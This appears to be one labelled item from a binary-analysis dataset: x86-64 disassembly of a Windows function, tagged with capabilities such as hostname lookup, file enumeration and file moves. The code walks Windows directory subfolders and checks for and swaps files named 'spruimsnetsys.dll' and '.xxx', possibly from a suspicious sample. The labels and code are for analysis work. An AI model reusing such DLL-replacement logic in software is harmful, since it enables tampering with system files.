Function at 0x140105c30
Capabilities:
Check if file exists
Enumerate files on windows
Get common file path
Get hostname
Move file

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x868]
sub rsp, 0x950
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14030bc70]
xor rax, rsp
mov qword [rbp + 0x840], rax
mov r14, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400f2a60
nop
mov edx, 1
mov rcx, r14
call fcn.1400f2f30
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x510]
call fcn.140141ad0
mov dword [rsp + 0x28], 0x104
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x510]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp + 0x1e0]
call fcn.1400f7c20
xor r15d, r15d
mov ecx, r15d
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0x1e0]
mov byte [rbp + rcx + 0x2f0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140105ce0
lea rcx, [rbp + 0x2f0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140105d01
mov eax, dword [0x1402895a0]
mov dword [rcx], eax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140105f82
test byte [rsp + 0x60], 0x10
je 0x140105f51
movzx ecx, byte [rbp - 0x74]
movzx eax, byte [rbp - 0x73]
cmp cl, byte [0x140285d2c]
jne 0x140105d58
cmp al, byte [0x140285d2d]
je 0x140105f51
cmp cl, byte [0x1402895a4]
jne 0x140105d78
cmp al, byte [0x1402895a5]
jne 0x140105d78
movzx eax, byte [rbp - 0x72]
cmp al, byte [0x1402895a6]
je 0x140105f51
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp + 0x1e0]
call fcn.1400f7c20
lea rcx, [rbp + 0x1e0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140105da0
lea r8, [rbp - 0x74]
xor edx, edx
nop
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140105db0
lea rcx, [rbp + 0x1e0]
call fcn.1400f7c20
mov rcx, r15
nop
movzx eax, byte [rbp + rcx + 0x1e0]
mov byte [rbp + rcx + 0x2f0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140105dd0
lea rcx, [rbp + 0x2f0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140105df1
mov eax, dword [str.sprui.]
mov dword [rcx], eax
movzx eax, word [0x140227d18]
mov word [rcx + 4], ax
movzx eax, byte [0x140227d1a]
mov byte [rcx + 6], al
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140105f51
nop dword [rax + rax]
test byte [rbp + 0xa0], 0x10
je 0x140105f1c
mov rdx, r15
movzx ecx, byte [rbp + rdx + 0x1e0]
mov byte [rbp + rdx + 0x2f0], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140105e50
lea rax, [rbp + 0x2f0]
dec rax
lea rax, [rax + 1]
cmp byte [rax], r15b
jne 0x140105e71
lea r8, [rbp + 0xcc]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140105e90
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x1e0]
mov byte [rbp + rcx + 0x400], al
lea rcx, [rcx + 1]
test al, al
jne 0x140105eb0
lea rax, [rbp + 0x2f0]
or rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r15b
jne 0x140105ed2
inc rcx
call fcn.140113934
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x400]
mov r8, rax
sub r8, rcx
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140105f00
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400f2cc0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xa0]
call fcn.140141ad0
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140105e40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x60]
call fcn.140141ad0
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140105d31
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x30]
call fcn.1400f3130
mov rdi, rax
test rax, rax
je 0x14010622c
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400f3190
mov rsi, rax
mov rcx, rdi
call fcn.1400494c0
mov rbx, rax
test rax, rax
je 0x140106210
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x620]
call fcn.140141ad0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x400]
call fcn.140141ad0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x730]
call fcn.140141ad0
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov r8, rbx
neg r8
lea rdx, [rbp + 0x620]
add rdx, r8
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140106020
lea rcx, [rbp + 0x620]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140106040
movups xmm0, xmmword [str.spruimsnetsys.dll]
movups xmmword [rcx], xmm0
movzx eax, word [0x140227d30]
mov word [rcx + 0x10], ax
movzx eax, byte [0x140227d32]
mov byte [rcx + 0x12], al
mov rcx, rbx
lea rdx, [rbp + 0x400]
add rdx, r8
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140106080
lea rcx, [rbp + 0x400]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x1401060a0
movups xmm0, xmmword [str.spruimsnetsys.xxx]
movups xmmword [rcx], xmm0
movzx eax, word [0x140227d48]
mov word [rcx + 0x10], ax
movzx eax, byte [0x140227d4a]
mov byte [rcx + 0x12], al
mov rcx, rbx
lea rdx, [rbp + 0x730]
add rdx, r8
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1401060e0
lea rcx, [rbp + 0x730]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140106100
mov eax, dword [0x140227d4c]
mov dword [rcx], eax
movzx eax, word [0x140227d50]
mov word [rcx + 4], ax
lea rcx, [rbp + 0x620]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1401061de
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x620]
call fcn.140162970
test eax, eax
jne 0x140106195
lea rcx, [rbp + 0x400]
call fcn.14016165c
mov qword [rsp + 0x20], rbx
mov rcx, rbx
test eax, eax
je 0x1401061e6
call fcn.1401027c0
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x510]
call fcn.1400fc370
lea rax, [rbp + 0x400]
jmp 0x1401061f2
lea rcx, [rbp + 0x620]
call fcn.14016165c
test eax, eax
je 0x140106220
mov qword [rsp + 0x20], rbx
mov rcx, rbx
call fcn.1401027c0
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x510]
call fcn.1400fc370
lea rax, [rbp + 0x620]
jmp 0x1401061f2
mov qword [rsp + 0x20], rbx
mov rcx, rbx
call fcn.1401027c0
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x510]
call fcn.1400fc370
jmp 0x140106220
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400f3290
mov rdi, rsi
test rsi, rsi
jne 0x140105fa0
mov rcx, r14
call fcn.1400f30e0
mov ebx, eax
lea rcx, [rsp + 0x30]
call fcn.1400f2ab0
mov eax, ebx
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140113910
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret